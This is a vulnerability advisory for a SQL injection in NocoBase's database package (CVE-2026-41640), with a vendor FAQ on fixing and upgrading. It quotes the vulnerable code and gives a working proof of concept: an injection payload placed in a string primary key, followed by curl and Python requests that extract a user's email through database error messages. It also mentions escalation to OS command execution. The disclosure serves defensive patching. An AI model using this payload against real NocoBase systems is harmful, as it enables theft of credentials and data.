CVE-2026-41640

The queryParentSQL() function in the core database package constructs a recursive CTE query by joining nodeIds with string concatenation instead of using parameterized queries. The nodeIds array contains primary key values read from database rows. An attacker who can create a record with a malicious string primary key can inject arbitrary SQL when any subsequent request triggers recursive eager loading on that collection.

Affected component: @nocobase/database (core)
Affected versions: <= 2.0.32 (confirmed)
Minimum privilege: Any user with record-creation permission on a tree collection with string-type primary keys

Vulnerable Code

packages/core/database/src/eager-loading/eager-loading-tree.ts:59-84

const queryParentSQL = (options: {
  db: Database;
  nodeIds: any[];
  collection: Collection;
  foreignKey: string;
  targetKey: string;
}) => {
  const { collection, db, nodeIds } = options;
  const tableName = collection.quotedTableName();
  const { foreignKey, targetKey } = options;
  const foreignKeyField = collection.model.rawAttributes[foreignKey].field;
  const targetKeyField = collection.model.rawAttributes[targetKey].field;

  const queryInterface = db.sequelize.getQueryInterface();
  const q = queryInterface.quoteIdentifier.bind(queryInterface);
  return `WITH RECURSIVE cte AS (
      SELECT ${q(targetKeyField)}, ${q(foreignKeyField)}
      FROM ${tableName}
      WHERE ${q(targetKeyField)} IN ('${nodeIds.join("','")}')  // <-- INJECTION
      UNION ALL
      SELECT t.${q(targetKeyField)}, t.${q(foreignKeyField)}
      FROM ${tableName} AS t
      INNER JOIN cte ON t.${q(targetKeyField)} = cte.${q(foreignKeyField)}
      )
      SELECT ${q(targetKeyField)} AS ${q(targetKey)}, ${q(foreignKeyField)} AS ${q(foreignKey)} FROM cte`;
};

This function is called at line 384 when a BelongsTo association has recursively: true and instances exist:

// eager-loading-tree.ts:382-395
if (node.includeOption.recursively && instances.length > 0) {
    const targetKey = association.targetKey;
    const sql = queryParentSQL({
        db: this.db, collection, foreignKey, targetKey,
        nodeIds: instances.map((instance) => instance.get(targetKey)), // from DB rows
    });
    const results = await this.db.sequelize.query(sql, { type: 'SELECT', transaction });
}

PoC

The payload keeps the CTE syntactically valid by injecting a third UNION ALL branch. The closing ') from the original template literal completes the injected WHERE clause, and the remaining UNION ALL ... INNER JOIN ... SELECT ... FROM cte lines stay intact.

Injection ID value:
  root') UNION ALL SELECT CAST((SELECT email FROM users LIMIT 1) AS integer)::text, NULL::text WHERE ('1'='1

Generated SQL (3 valid UNION ALL branches):
  WITH RECURSIVE cte AS (
    SELECT "id", "parentId" FROM "table"
    WHERE "id" IN ('root','root') UNION ALL SELECT CAST((...) AS integer)::text, NULL::text WHERE ('1'='1')
    UNION ALL
    SELECT t."id", t."parentId" FROM "table" AS t INNER JOIN cte ON t."id" = cte."parentId"
  ) SELECT "id" AS "id", "parentId" AS "parentId" FROM cte

The CAST-to-integer triggers a runtime error whose message contains the subquery result.

TOKEN="<jwt_token>"

# 1. Create tree collection with string PKs
curl -s http://TARGET:13000/api/collections:create \
  -H "Authorization: Bearer $TOKEN" -H "Content-Type: application/json" \
  -d '{"name":"vuln_tree","tree":"adjacencyList","fields":[
    {"name":"id","type":"string","primaryKey":true,"interface":"input"},
    {"name":"title","type":"string","interface":"input"},
    {"name":"parent","type":"belongsTo","target":"vuln_tree","foreignKey":"parentId","targetKey":"id","treeParent":true},
    {"name":"children","type":"hasMany","target":"vuln_tree","foreignKey":"parentId","sourceKey":"id","treeChildren":true}
  ]}'

# 2. Create safe root
curl -s http://TARGET:13000/api/vuln_tree:create \
  -H "Authorization: Bearer $TOKEN" -H "Content-Type: application/json" \
  -d '{"id":"root","title":"Root"}'

# 3. Create injection parent, error-based extraction of admin email
python3 -c "
import requests, json
headers = {'Authorization': 'Bearer $TOKEN', 'Content-Type': 'application/json'}
payload_id = \"root') UNION ALL SELECT CAST((SELECT email FROM users LIMIT 1) AS integer)::text, NULL::text WHERE ('1'='1\"
requests.post('http://TARGET:13000/api/vuln_tree:create', headers=headers,
    json={'id': payload_id, 'title': 'x'})
requests.post('http://TARGET:13000/api/vuln_tree:create', headers=headers,
    json={'id': 'child', 'title': 'c', 'parentId': payload_id})
r = requests.get('http://TARGET:13000/api/vuln_tree:list', headers=headers,
    params={'appends[]': 'parent(recursively=true)', 'pageSize': '100'})
print(json.dumps(r.json(), indent=2))
"
# Returns: 500 {"errors":[{"message":"invalid input syntax for type integer: \"[email protected]\""}]}
#                                                                          ^^^^^^^^^^^^^^^^^^^^^^^
#                                                             Exfiltrated data in error message

Confirmed extractions (tested against NocoBase v2.0.32 + PostgreSQL 16.13):

Fix Suggestion

1. Use parameterized queries. Replace the string concatenation with bind parameters:

   const placeholders = nodeIds.map((_, i) => `$${i + 1}`).join(',');
   const sql = `WITH RECURSIVE cte AS (
       SELECT ${q(targetKeyField)}, ${q(foreignKeyField)}
       FROM ${tableName}
       WHERE ${q(targetKeyField)} IN (${placeholders})
       UNION ALL
       ...
   ) SELECT ... FROM cte`;
   return { sql, bind: nodeIds };
   

   Then call db.sequelize.query(sql, { type: 'SELECT', bind: nodeIds, transaction }).

2. Apply the same fix to plugin-field-sort/src/server/sort-field.ts:124, which has an identical concatenation pattern with filteredScopeValue.

3. Validate primary key values at record creation time. Reject or escape values containing SQL metacharacters (', ", ;, --) in string-type primary key fields.

• Confidentiality: Error-based extraction of any database value. Full credential dump confirmed (emails + password hashes).
• Integrity: Depending on database user privileges, INSERT/UPDATE/DELETE through stacked queries.
• Availability: Resource-exhaustive queries or destructive DDL.
• Scope change: On PostgreSQL with superuser, COPY ... TO PROGRAM achieves OS command execution.
• Blast radius: Affects all collections using tree/adjacency-list structure with string-type primary keys. The same concatenation pattern also exists in plugin-field-sort/src/server/sort-field.ts:124.

Untrusted input alters a database query, allowing the attacker to read or modify data the query was not intended to access. Typical impact: data disclosure or modification.

CVE-2026-41640 has a CVSS score of 7.5 (High). The vector is network-reachable, low privileges required, and no user interaction. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. A fixed version is available (2.0.39); upgrading removes the vulnerable code path.

Kodem intelligence

1. What is CVE-2026-41640? CVE-2026-41640 is a high-severity SQL injection vulnerability in @nocobase/database (npm), affecting versions < 2.0.39. It is fixed in 2.0.39. Untrusted input alters a database query, allowing the attacker to read or modify data the query was not intended to access.
2. How severe is CVE-2026-41640? CVE-2026-41640 has a CVSS score of 7.5 (High). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
3. Which versions of @nocobase/database are affected by CVE-2026-41640? @nocobase/database (npm) versions < 2.0.39 is affected.
4. Is there a fix for CVE-2026-41640? Yes. CVE-2026-41640 is fixed in 2.0.39. Upgrade to this version or later.
5. Is CVE-2026-41640 exploitable, and should I be worried? Whether CVE-2026-41640 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
6. What actually determines whether CVE-2026-41640 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
7. How do I fix CVE-2026-41640? Upgrade @nocobase/database to 2.0.39 or later.